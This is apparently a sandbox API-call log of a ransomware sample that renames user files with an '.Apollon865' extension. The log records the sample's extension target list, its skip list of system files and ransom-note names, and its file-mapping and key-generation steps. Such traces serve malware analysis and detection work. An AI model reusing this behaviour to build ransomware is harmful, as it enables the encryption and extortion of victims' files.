	[0087.706] lstrlenW (lpString="dp1") returned 3
	[0087.706] lstrcmpiW (lpString1="wav", lpString2="dp1") returned 1
	[0087.706] lstrlenW (lpString="dqy") returned 3
	[0087.706] lstrcmpiW (lpString1="wav", lpString2="dqy") returned 1
	[0087.706] lstrlenW (lpString="dsk") returned 3
	[0087.706] lstrcmpiW (lpString1="wav", lpString2="dsk") returned 1
	[0087.706] lstrlenW (lpString="dsn") returned 3
	[0087.706] lstrcmpiW (lpString1="wav", lpString2="dsn") returned 1
	[0087.706] lstrlenW (lpString="dtsx") returned 4
	[0087.706] lstrcmpiW (lpString1=".wav", lpString2="dtsx") returned -1
	[0087.706] lstrlenW (lpString="dxl") returned 3
	[0087.706] lstrcmpiW (lpString1="wav", lpString2="dxl") returned 1
	[0087.706] lstrlenW (lpString="eco") returned 3
	[0087.706] lstrcmpiW (lpString1="wav", lpString2="eco") returned 1
	[0087.706] lstrlenW (lpString="ecx") returned 3
	[0087.706] lstrcmpiW (lpString1="wav", lpString2="ecx") returned 1
	[0087.706] lstrlenW (lpString="edb") returned 3
	[0087.706] lstrcmpiW (lpString1="wav", lpString2="edb") returned 1
	[0087.706] lstrlenW (lpString="epim") returned 4
	[0087.706] lstrcmpiW (lpString1=".wav", lpString2="epim") returned -1
	[0087.706] lstrlenW (lpString="fcd") returned 3
	[0087.706] lstrcmpiW (lpString1="wav", lpString2="fcd") returned 1
	[0087.706] lstrlenW (lpString="fdb") returned 3
	[0087.706] lstrcmpiW (lpString1="wav", lpString2="fdb") returned 1
	[0087.706] lstrlenW (lpString="fic") returned 3
	[0087.706] lstrcmpiW (lpString1="wav", lpString2="fic") returned 1
	[0087.706] lstrlenW (lpString="flexolibrary") returned 12
	[0087.706] lstrcmpiW (lpString1="ZT5RSLO6.wav", lpString2="flexolibrary") returned 1
	[0087.706] lstrlenW (lpString="fm5") returned 3
	[0087.706] lstrcmpiW (lpString1="wav", lpString2="fm5") returned 1
	[0087.706] lstrlenW (lpString="fmp") returned 3
	[0087.706] lstrcmpiW (lpString1="wav", lpString2="fmp") returned 1
	[0087.706] lstrlenW (lpString="fmp12") returned 5
	[0087.706] lstrcmpiW (lpString1="6.wav", lpString2="fmp12") returned -1
	[0087.706] lstrlenW (lpString="fmpsl") returned 5
	[0087.707] lstrcmpiW (lpString1="6.wav", lpString2="fmpsl") returned -1
	[0087.707] lstrlenW (lpString="fol") returned 3
	[0087.707] lstrcmpiW (lpString1="wav", lpString2="fol") returned 1
	[0087.707] lstrlenW (lpString="fp3") returned 3
	[0087.707] lstrcmpiW (lpString1="wav", lpString2="fp3") returned 1
	[0087.707] lstrlenW (lpString="fp4") returned 3
	[0087.707] lstrcmpiW (lpString1="wav", lpString2="fp4") returned 1
	[0087.707] lstrlenW (lpString="fp5") returned 3
	[0087.707] lstrcmpiW (lpString1="wav", lpString2="fp5") returned 1
	[0087.707] lstrlenW (lpString="fp7") returned 3
	[0087.707] lstrcmpiW (lpString1="wav", lpString2="fp7") returned 1
	[0087.707] lstrlenW (lpString="fpt") returned 3
	[0087.707] lstrcmpiW (lpString1="wav", lpString2="fpt") returned 1
	[0087.707] lstrlenW (lpString="frm") returned 3
	[0087.707] lstrcmpiW (lpString1="wav", lpString2="frm") returned 1
	[0087.707] lstrlenW (lpString="gdb") returned 3
	[0087.707] lstrcmpiW (lpString1="wav", lpString2="gdb") returned 1
	[0087.707] lstrlenW (lpString="gdb") returned 3
	[0087.707] lstrcmpiW (lpString1="wav", lpString2="gdb") returned 1
	[0087.707] lstrlenW (lpString="grdb") returned 4
	[0087.707] lstrcmpiW (lpString1=".wav", lpString2="grdb") returned -1
	[0087.707] lstrlenW (lpString="gwi") returned 3
	[0087.707] lstrcmpiW (lpString1="wav", lpString2="gwi") returned 1
	[0087.707] lstrlenW (lpString="hdb") returned 3
	[0087.707] lstrcmpiW (lpString1="wav", lpString2="hdb") returned 1
	[0087.707] lstrlenW (lpString="his") returned 3
	[0087.707] lstrcmpiW (lpString1="wav", lpString2="his") returned 1
	[0087.707] lstrlenW (lpString="ib") returned 2
	[0087.707] lstrcmpiW (lpString1="av", lpString2="ib") returned -1
	[0087.707] lstrlenW (lpString="idb") returned 3
	[0087.707] lstrcmpiW (lpString1="wav", lpString2="idb") returned 1
	[0087.707] lstrlenW (lpString="ihx") returned 3
	[0087.707] lstrcmpiW (lpString1="wav", lpString2="ihx") returned 1
	[0087.707] lstrlenW (lpString="itdb") returned 4
	[0087.707] lstrcmpiW (lpString1=".wav", lpString2="itdb") returned -1
	[0087.708] lstrlenW (lpString="itw") returned 3
	[0087.708] lstrcmpiW (lpString1="wav", lpString2="itw") returned 1
	[0087.708] lstrlenW (lpString="jet") returned 3
	[0087.708] lstrcmpiW (lpString1="wav", lpString2="jet") returned 1
	[0087.708] lstrlenW (lpString="jtx") returned 3
	[0087.708] lstrcmpiW (lpString1="wav", lpString2="jtx") returned 1
	[0087.708] lstrlenW (lpString="kdb") returned 3
	[0087.708] lstrcmpiW (lpString1="wav", lpString2="kdb") returned 1
	[0087.708] lstrlenW (lpString="kexi") returned 4
	[0087.708] lstrcmpiW (lpString1=".wav", lpString2="kexi") returned -1
	[0087.708] lstrlenW (lpString="kexic") returned 5
	[0087.708] lstrcmpiW (lpString1="6.wav", lpString2="kexic") returned -1
	[0087.708] lstrlenW (lpString="kexis") returned 5
	[0087.708] lstrcmpiW (lpString1="6.wav", lpString2="kexis") returned -1
	[0087.708] lstrlenW (lpString="lgc") returned 3
	[0087.708] lstrcmpiW (lpString1="wav", lpString2="lgc") returned 1
	[0087.708] lstrlenW (lpString="lwx") returned 3
	[0087.708] lstrcmpiW (lpString1="wav", lpString2="lwx") returned 1
	[0087.708] lstrlenW (lpString="maf") returned 3
	[0087.708] lstrcmpiW (lpString1="wav", lpString2="maf") returned 1
	[0087.708] lstrlenW (lpString="maq") returned 3
	[0087.708] lstrcmpiW (lpString1="wav", lpString2="maq") returned 1
	[0087.708] lstrlenW (lpString="mar") returned 3
	[0087.708] lstrcmpiW (lpString1="wav", lpString2="mar") returned 1
	[0087.708] lstrlenW (lpString="marshal") returned 7
	[0087.708] lstrcmpiW (lpString1="LO6.wav", lpString2="marshal") returned -1
	[0087.708] lstrlenW (lpString="mas") returned 3
	[0087.708] lstrcmpiW (lpString1="wav", lpString2="mas") returned 1
	[0087.708] lstrlenW (lpString="mav") returned 3
	[0087.708] lstrcmpiW (lpString1="wav", lpString2="mav") returned 1
	[0087.708] lstrlenW (lpString="maw") returned 3
	[0087.708] lstrcmpiW (lpString1="wav", lpString2="maw") returned 1
	[0087.708] lstrlenW (lpString="mdbhtml") returned 7
	[0087.708] lstrcmpiW (lpString1="LO6.wav", lpString2="mdbhtml") returned -1
	[0087.708] lstrlenW (lpString="mdn") returned 3
	[0087.709] lstrcmpiW (lpString1="wav", lpString2="mdn") returned 1
	[0087.709] lstrlenW (lpString="mdt") returned 3
	[0087.709] lstrcmpiW (lpString1="wav", lpString2="mdt") returned 1
	[0087.709] lstrlenW (lpString="mfd") returned 3
	[0087.709] lstrcmpiW (lpString1="wav", lpString2="mfd") returned 1
	[0087.709] lstrlenW (lpString="mpd") returned 3
	[0087.709] lstrcmpiW (lpString1="wav", lpString2="mpd") returned 1
	[0087.709] lstrlenW (lpString="mrg") returned 3
	[0087.709] lstrcmpiW (lpString1="wav", lpString2="mrg") returned 1
	[0087.709] lstrlenW (lpString="mud") returned 3
	[0087.709] lstrcmpiW (lpString1="wav", lpString2="mud") returned 1
	[0087.709] lstrlenW (lpString="mwb") returned 3
	[0087.709] lstrcmpiW (lpString1="wav", lpString2="mwb") returned 1
	[0087.709] lstrlenW (lpString="myd") returned 3
	[0087.709] lstrcmpiW (lpString1="wav", lpString2="myd") returned 1
	[0087.709] lstrlenW (lpString="ndf") returned 3
	[0087.709] lstrcmpiW (lpString1="wav", lpString2="ndf") returned 1
	[0087.709] lstrlenW (lpString="nnt") returned 3
	[0087.709] lstrcmpiW (lpString1="wav", lpString2="nnt") returned 1
	[0087.709] lstrlenW (lpString="nrmlib") returned 6
	[0087.709] lstrcmpiW (lpString1="O6.wav", lpString2="nrmlib") returned 1
	[0087.709] lstrlenW (lpString="ns2") returned 3
	[0087.709] lstrcmpiW (lpString1="wav", lpString2="ns2") returned 1
	[0087.709] lstrlenW (lpString="ns3") returned 3
	[0087.709] lstrcmpiW (lpString1="wav", lpString2="ns3") returned 1
	[0087.709] lstrlenW (lpString="ns4") returned 3
	[0087.709] lstrcmpiW (lpString1="wav", lpString2="ns4") returned 1
	[0087.710] lstrlenW (lpString="nsf") returned 3
	[0087.710] lstrcmpiW (lpString1="wav", lpString2="nsf") returned 1
	[0087.710] lstrlenW (lpString="nv") returned 2
	[0087.710] lstrcmpiW (lpString1="av", lpString2="nv") returned -1
	[0087.710] lstrlenW (lpString="nv2") returned 3
	[0087.710] lstrcmpiW (lpString1="wav", lpString2="nv2") returned 1
	[0087.710] lstrlenW (lpString="nwdb") returned 4
	[0087.710] lstrcmpiW (lpString1=".wav", lpString2="nwdb") returned -1
	[0087.710] lstrlenW (lpString="nyf") returned 3
	[0087.710] lstrcmpiW (lpString1="wav", lpString2="nyf") returned 1
	[0087.710] lstrlenW (lpString="odb") returned 3
	[0087.710] lstrcmpiW (lpString1="wav", lpString2="odb") returned 1
	[0087.710] lstrlenW (lpString="odb") returned 3
	[0087.710] lstrcmpiW (lpString1="wav", lpString2="odb") returned 1
	[0087.710] lstrlenW (lpString="oqy") returned 3
	[0087.710] lstrcmpiW (lpString1="wav", lpString2="oqy") returned 1
	[0087.710] lstrlenW (lpString="ora") returned 3
	[0087.710] lstrcmpiW (lpString1="wav", lpString2="ora") returned 1
	[0087.710] lstrlenW (lpString="orx") returned 3
	[0087.710] lstrcmpiW (lpString1="wav", lpString2="orx") returned 1
	[0087.710] lstrlenW (lpString="owc") returned 3
	[0087.710] lstrcmpiW (lpString1="wav", lpString2="owc") returned 1
	[0087.710] lstrlenW (lpString="p96") returned 3
	[0087.710] lstrcmpiW (lpString1="wav", lpString2="p96") returned 1
	[0087.710] lstrlenW (lpString="p97") returned 3
	[0087.710] lstrcmpiW (lpString1="wav", lpString2="p97") returned 1
	[0087.710] lstrlenW (lpString="pan") returned 3
	[0087.710] lstrcmpiW (lpString1="wav", lpString2="pan") returned 1
	[0087.711] lstrlenW (lpString="pdb") returned 3
	[0087.711] lstrcmpiW (lpString1="wav", lpString2="pdb") returned 1
	[0087.711] lstrlenW (lpString="pdm") returned 3
	[0087.711] lstrcmpiW (lpString1="wav", lpString2="pdm") returned 1
	[0087.711] lstrlenW (lpString="pnz") returned 3
	[0087.711] lstrcmpiW (lpString1="wav", lpString2="pnz") returned 1
	[0087.711] lstrlenW (lpString="qry") returned 3
	[0087.711] lstrcmpiW (lpString1="wav", lpString2="qry") returned 1
	[0087.711] lstrlenW (lpString="qvd") returned 3
	[0087.711] lstrcmpiW (lpString1="wav", lpString2="qvd") returned 1
	[0087.711] lstrlenW (lpString="rbf") returned 3
	[0087.711] lstrcmpiW (lpString1="wav", lpString2="rbf") returned 1
	[0087.711] lstrlenW (lpString="rctd") returned 4
	[0087.711] lstrcmpiW (lpString1=".wav", lpString2="rctd") returned -1
	[0087.711] lstrlenW (lpString="rod") returned 3
	[0087.711] lstrcmpiW (lpString1="wav", lpString2="rod") returned 1
	[0087.711] lstrlenW (lpString="rodx") returned 4
	[0087.711] lstrcmpiW (lpString1=".wav", lpString2="rodx") returned -1
	[0087.711] lstrlenW (lpString="rpd") returned 3
	[0087.711] lstrcmpiW (lpString1="wav", lpString2="rpd") returned 1
	[0087.711] lstrlenW (lpString="rsd") returned 3
	[0087.711] lstrcmpiW (lpString1="wav", lpString2="rsd") returned 1
	[0087.711] lstrlenW (lpString="sas7bdat") returned 8
	[0087.711] lstrcmpiW (lpString1="SLO6.wav", lpString2="sas7bdat") returned 1
	[0087.711] lstrlenW (lpString="sbf") returned 3
	[0087.711] lstrcmpiW (lpString1="wav", lpString2="sbf") returned 1
	[0087.711] lstrlenW (lpString="scx") returned 3
	[0087.711] lstrcmpiW (lpString1="wav", lpString2="scx") returned 1
	[0087.711] lstrlenW (lpString="sdb") returned 3
	[0087.711] lstrcmpiW (lpString1="wav", lpString2="sdb") returned 1
	[0087.711] lstrlenW (lpString="sdc") returned 3
	[0087.711] lstrcmpiW (lpString1="wav", lpString2="sdc") returned 1
	[0087.711] lstrlenW (lpString="sdf") returned 3
	[0087.711] lstrcmpiW (lpString1="wav", lpString2="sdf") returned 1
	[0087.712] lstrlenW (lpString="sis") returned 3
	[0087.712] lstrcmpiW (lpString1="wav", lpString2="sis") returned 1
	[0087.712] lstrlenW (lpString="spq") returned 3
	[0087.712] lstrcmpiW (lpString1="wav", lpString2="spq") returned 1
	[0087.712] lstrlenW (lpString="te") returned 2
	[0087.712] lstrcmpiW (lpString1="av", lpString2="te") returned -1
	[0087.712] lstrlenW (lpString="teacher") returned 7
	[0087.712] lstrcmpiW (lpString1="LO6.wav", lpString2="teacher") returned -1
	[0087.712] lstrlenW (lpString="tmd") returned 3
	[0087.712] lstrcmpiW (lpString1="wav", lpString2="tmd") returned 1
	[0087.712] lstrlenW (lpString="tps") returned 3
	[0087.712] lstrcmpiW (lpString1="wav", lpString2="tps") returned 1
	[0087.712] lstrlenW (lpString="trc") returned 3
	[0087.712] lstrcmpiW (lpString1="wav", lpString2="trc") returned 1
	[0087.712] lstrlenW (lpString="trc") returned 3
	[0087.712] lstrcmpiW (lpString1="wav", lpString2="trc") returned 1
	[0087.712] lstrlenW (lpString="trm") returned 3
	[0087.712] lstrcmpiW (lpString1="wav", lpString2="trm") returned 1
	[0087.712] lstrlenW (lpString="udb") returned 3
	[0087.712] lstrcmpiW (lpString1="wav", lpString2="udb") returned 1
	[0087.712] lstrlenW (lpString="udl") returned 3
	[0087.712] lstrcmpiW (lpString1="wav", lpString2="udl") returned 1
	[0087.712] lstrlenW (lpString="usr") returned 3
	[0087.712] lstrcmpiW (lpString1="wav", lpString2="usr") returned 1
	[0087.712] lstrlenW (lpString="v12") returned 3
	[0087.712] lstrcmpiW (lpString1="wav", lpString2="v12") returned 1
	[0087.712] lstrlenW (lpString="vis") returned 3
	[0087.712] lstrcmpiW (lpString1="wav", lpString2="vis") returned 1
	[0087.712] lstrlenW (lpString="vpd") returned 3
	[0087.712] lstrcmpiW (lpString1="wav", lpString2="vpd") returned 1
	[0087.712] lstrlenW (lpString="vvv") returned 3
	[0087.712] lstrcmpiW (lpString1="wav", lpString2="vvv") returned 1
	[0087.712] lstrlenW (lpString="wdb") returned 3
	[0087.712] lstrcmpiW (lpString1="wav", lpString2="wdb") returned -1
	[0087.712] lstrlenW (lpString="wmdb") returned 4
	[0087.713] lstrcmpiW (lpString1=".wav", lpString2="wmdb") returned -1
	[0087.713] lstrlenW (lpString="wrk") returned 3
	[0087.713] lstrcmpiW (lpString1="wav", lpString2="wrk") returned -1
	[0087.713] lstrlenW (lpString="xdb") returned 3
	[0087.713] lstrcmpiW (lpString1="wav", lpString2="xdb") returned -1
	[0087.713] lstrlenW (lpString="xld") returned 3
	[0087.713] lstrcmpiW (lpString1="wav", lpString2="xld") returned -1
	[0087.713] lstrlenW (lpString="xmlff") returned 5
	[0087.713] lstrcmpiW (lpString1="6.wav", lpString2="xmlff") returned -1
	[0087.713] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Uu20-N2ZT5RSLO6.wav.Apollon865") returned 66
	[0087.713] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Uu20-N2ZT5RSLO6.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\uu20-n2zt5rslo6.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Uu20-N2ZT5RSLO6.wav.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\uu20-n2zt5rslo6.wav.apollon865"), dwFlags=0x1) returned 1
	[0087.714] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Uu20-N2ZT5RSLO6.wav.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\uu20-n2zt5rslo6.wav.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0087.715] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=7959) returned 1
	[0087.715] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0087.715] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0087.715] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0087.715] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0087.716] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0087.716] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0087.716] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2220, lpName=0x0) returned 0x15c
	[0087.716] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2220) returned 0x100000
	[0087.717] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0087.718] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0087.718] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0087.718] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0087.718] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0087.718] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0087.718] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0087.718] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0087.718] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0087.718] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0087.718] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0087.719] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0087.719] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0087.719] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0087.719] CloseHandle (hObject=0x15c) returned 1
	[0087.719] CloseHandle (hObject=0x9c) returned 1
	[0087.720] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0087.720] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0087.720] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0087.721] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x658ce5a0, ftCreationTime.dwHighDateTime=0x1d4d1b7, ftLastAccessTime.dwLowDateTime=0xd54767e0, ftLastAccessTime.dwHighDateTime=0x1d4cb17, ftLastWriteTime.dwLowDateTime=0xd54767e0, ftLastWriteTime.dwHighDateTime=0x1d4cb17, nFileSizeHigh=0x0, nFileSizeLow=0xc7c8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="yMC2DLtUhcYtaEdCiy.m4a", cAlternateFileName="YMC2DL~1.M4A")) returned 1
	[0087.721] lstrcmpiW (lpString1="yMC2DLtUhcYtaEdCiy.m4a", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0087.721] lstrcmpiW (lpString1="yMC2DLtUhcYtaEdCiy.m4a", lpString2="Apollon865.txt.exe") returned 1
	[0087.721] lstrcmpiW (lpString1="yMC2DLtUhcYtaEdCiy.m4a", lpString2=".") returned 1
	[0087.721] lstrcmpiW (lpString1="yMC2DLtUhcYtaEdCiy.m4a", lpString2="..") returned 1
	[0087.721] lstrcmpiW (lpString1="yMC2DLtUhcYtaEdCiy.m4a", lpString2="windows") returned 1
	[0087.721] lstrcmpiW (lpString1="yMC2DLtUhcYtaEdCiy.m4a", lpString2="bootmgr") returned 1
	[0087.721] lstrcmpiW (lpString1="yMC2DLtUhcYtaEdCiy.m4a", lpString2="temp") returned 1
	[0087.721] lstrcmpiW (lpString1="yMC2DLtUhcYtaEdCiy.m4a", lpString2="pagefile.sys") returned 1
	[0087.721] lstrcmpiW (lpString1="yMC2DLtUhcYtaEdCiy.m4a", lpString2="boot") returned 1
	[0087.721] lstrcmpiW (lpString1="yMC2DLtUhcYtaEdCiy.m4a", lpString2="ids.txt") returned 1
	[0087.721] lstrcmpiW (lpString1="yMC2DLtUhcYtaEdCiy.m4a", lpString2="ntuser.dat") returned 1
	[0087.721] lstrcmpiW (lpString1="yMC2DLtUhcYtaEdCiy.m4a", lpString2="perflogs") returned 1
	[0087.721] lstrcmpiW (lpString1="yMC2DLtUhcYtaEdCiy.m4a", lpString2="MSBuild") returned 1
	[0087.721] lstrlenW (lpString="yMC2DLtUhcYtaEdCiy.m4a") returned 22
	[0087.721] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Uu20-N2ZT5RSLO6.wav") returned 55
	[0087.721] lstrcpyW (in: lpString1=0x119e650, lpString2="yMC2DLtUhcYtaEdCiy.m4a" | out: lpString1="yMC2DLtUhcYtaEdCiy.m4a") returned="yMC2DLtUhcYtaEdCiy.m4a"
	[0087.721] lstrlenW (lpString="yMC2DLtUhcYtaEdCiy.m4a") returned 22
	[0087.721] lstrlenW (lpString="Apollon865") returned 10
	[0087.721] lstrcmpiW (lpString1="aEdCiy.m4a", lpString2="Apollon865") returned -1
	[0087.721] lstrlenW (lpString=".dll") returned 4
	[0087.721] lstrcmpiW (lpString1="yMC2DLtUhcYtaEdCiy.m4a", lpString2=".dll") returned 1
	[0087.721] lstrlenW (lpString=".lnk") returned 4
	[0087.721] lstrcmpiW (lpString1="yMC2DLtUhcYtaEdCiy.m4a", lpString2=".lnk") returned 1
	[0087.722] lstrlenW (lpString=".ini") returned 4
	[0087.722] lstrcmpiW (lpString1="yMC2DLtUhcYtaEdCiy.m4a", lpString2=".ini") returned 1
	[0087.722] lstrlenW (lpString=".sys") returned 4
	[0087.722] lstrcmpiW (lpString1="yMC2DLtUhcYtaEdCiy.m4a", lpString2=".sys") returned 1
	[0087.722] lstrlenW (lpString="yMC2DLtUhcYtaEdCiy.m4a") returned 22
	[0087.722] lstrlenW (lpString="bak") returned 3
	[0087.722] lstrcmpiW (lpString1="m4a", lpString2="bak") returned 1
	[0087.722] lstrlenW (lpString="ba_") returned 3
	[0087.722] lstrcmpiW (lpString1="m4a", lpString2="ba_") returned 1
	[0087.722] lstrlenW (lpString="dbb") returned 3
	[0087.722] lstrcmpiW (lpString1="m4a", lpString2="dbb") returned 1
	[0087.722] lstrlenW (lpString="vmdk") returned 4
	[0087.722] lstrcmpiW (lpString1=".m4a", lpString2="vmdk") returned -1
	[0087.722] lstrlenW (lpString="rar") returned 3
	[0087.722] lstrcmpiW (lpString1="m4a", lpString2="rar") returned -1
	[0087.722] lstrlenW (lpString="zip") returned 3
	[0087.722] lstrcmpiW (lpString1="m4a", lpString2="zip") returned -1
	[0087.722] lstrlenW (lpString="tgz") returned 3
	[0087.722] lstrcmpiW (lpString1="m4a", lpString2="tgz") returned -1
	[0087.722] lstrlenW (lpString="vbox") returned 4
	[0087.722] lstrcmpiW (lpString1=".m4a", lpString2="vbox") returned -1
	[0087.722] lstrlenW (lpString="vdi") returned 3
	[0087.722] lstrcmpiW (lpString1="m4a", lpString2="vdi") returned -1
	[0087.722] lstrlenW (lpString="vhd") returned 3
	[0087.722] lstrcmpiW (lpString1="m4a", lpString2="vhd") returned -1
	[0087.722] lstrlenW (lpString="vhdx") returned 4
	[0087.722] lstrcmpiW (lpString1=".m4a", lpString2="vhdx") returned -1
	[0087.722] lstrlenW (lpString="avhd") returned 4
	[0087.722] lstrcmpiW (lpString1=".m4a", lpString2="avhd") returned -1
	[0087.722] lstrlenW (lpString="db") returned 2
	[0087.722] lstrcmpiW (lpString1="4a", lpString2="db") returned -1
	[0087.722] lstrlenW (lpString="db2") returned 3
	[0087.722] lstrcmpiW (lpString1="m4a", lpString2="db2") returned 1
	[0087.722] lstrlenW (lpString="db3") returned 3
	[0087.722] lstrcmpiW (lpString1="m4a", lpString2="db3") returned 1
	[0087.722] lstrlenW (lpString="dbf") returned 3
	[0087.723] lstrcmpiW (lpString1="m4a", lpString2="dbf") returned 1
	[0087.723] lstrlenW (lpString="mdf") returned 3
	[0087.723] lstrcmpiW (lpString1="m4a", lpString2="mdf") returned -1
	[0087.723] lstrlenW (lpString="mdb") returned 3
	[0087.723] lstrcmpiW (lpString1="m4a", lpString2="mdb") returned -1
	[0087.723] lstrlenW (lpString="sql") returned 3
	[0087.723] lstrcmpiW (lpString1="m4a", lpString2="sql") returned -1
	[0087.723] lstrlenW (lpString="sqlite") returned 6
	[0087.723] lstrcmpiW (lpString1="iy.m4a", lpString2="sqlite") returned -1
	[0087.723] lstrlenW (lpString="sqlite3") returned 7
	[0087.723] lstrcmpiW (lpString1="Ciy.m4a", lpString2="sqlite3") returned -1
	[0087.723] lstrlenW (lpString="sqlitedb") returned 8
	[0087.723] lstrcmpiW (lpString1="dCiy.m4a", lpString2="sqlitedb") returned -1
	[0087.723] lstrlenW (lpString="xml") returned 3
	[0087.723] lstrcmpiW (lpString1="m4a", lpString2="xml") returned -1
	[0087.723] lstrlenW (lpString="$er") returned 3
	[0087.723] lstrcmpiW (lpString1="m4a", lpString2="$er") returned 1
	[0087.723] lstrlenW (lpString="4dd") returned 3
	[0087.723] lstrcmpiW (lpString1="m4a", lpString2="4dd") returned 1
	[0087.723] lstrlenW (lpString="4dl") returned 3
	[0087.723] lstrcmpiW (lpString1="m4a", lpString2="4dl") returned 1
	[0087.723] lstrlenW (lpString="^^^") returned 3
	[0087.723] lstrcmpiW (lpString1="m4a", lpString2="^^^") returned 1
	[0087.723] lstrlenW (lpString="abs") returned 3
	[0087.723] lstrcmpiW (lpString1="m4a", lpString2="abs") returned 1
	[0087.723] lstrlenW (lpString="abx") returned 3
	[0087.723] lstrcmpiW (lpString1="m4a", lpString2="abx") returned 1
	[0087.723] lstrlenW (lpString="accdb") returned 5
	[0087.723] lstrcmpiW (lpString1="y.m4a", lpString2="accdb") returned 1
	[0087.723] lstrlenW (lpString="accdc") returned 5
	[0087.723] lstrcmpiW (lpString1="y.m4a", lpString2="accdc") returned 1
	[0087.723] lstrlenW (lpString="accde") returned 5
	[0087.724] lstrcmpiW (lpString1="y.m4a", lpString2="accde") returned 1
	[0087.724] lstrlenW (lpString="accdr") returned 5
	[0087.724] lstrcmpiW (lpString1="y.m4a", lpString2="accdr") returned 1
	[0087.724] lstrlenW (lpString="accdt") returned 5
	[0087.724] lstrcmpiW (lpString1="y.m4a", lpString2="accdt") returned 1
	[0087.724] lstrlenW (lpString="accdw") returned 5
	[0087.724] lstrcmpiW (lpString1="y.m4a", lpString2="accdw") returned 1
	[0087.724] lstrlenW (lpString="accft") returned 5
	[0087.724] lstrcmpiW (lpString1="y.m4a", lpString2="accft") returned 1
	[0087.724] lstrlenW (lpString="adb") returned 3
	[0087.724] lstrcmpiW (lpString1="m4a", lpString2="adb") returned 1
	[0087.724] lstrlenW (lpString="adb") returned 3
	[0087.724] lstrcmpiW (lpString1="m4a", lpString2="adb") returned 1
	[0087.724] lstrlenW (lpString="ade") returned 3
	[0087.724] lstrcmpiW (lpString1="m4a", lpString2="ade") returned 1
	[0087.724] lstrlenW (lpString="adf") returned 3
	[0087.724] lstrcmpiW (lpString1="m4a", lpString2="adf") returned 1
	[0087.724] lstrlenW (lpString="adn") returned 3
	[0087.724] lstrcmpiW (lpString1="m4a", lpString2="adn") returned 1
	[0087.724] lstrlenW (lpString="adp") returned 3
	[0087.724] lstrcmpiW (lpString1="m4a", lpString2="adp") returned 1
	[0087.724] lstrlenW (lpString="alf") returned 3
	[0087.724] lstrcmpiW (lpString1="m4a", lpString2="alf") returned 1
	[0087.724] lstrlenW (lpString="ask") returned 3
	[0087.724] lstrcmpiW (lpString1="m4a", lpString2="ask") returned 1
	[0087.724] lstrlenW (lpString="btr") returned 3
	[0087.724] lstrcmpiW (lpString1="m4a", lpString2="btr") returned 1
	[0087.724] lstrlenW (lpString="cat") returned 3
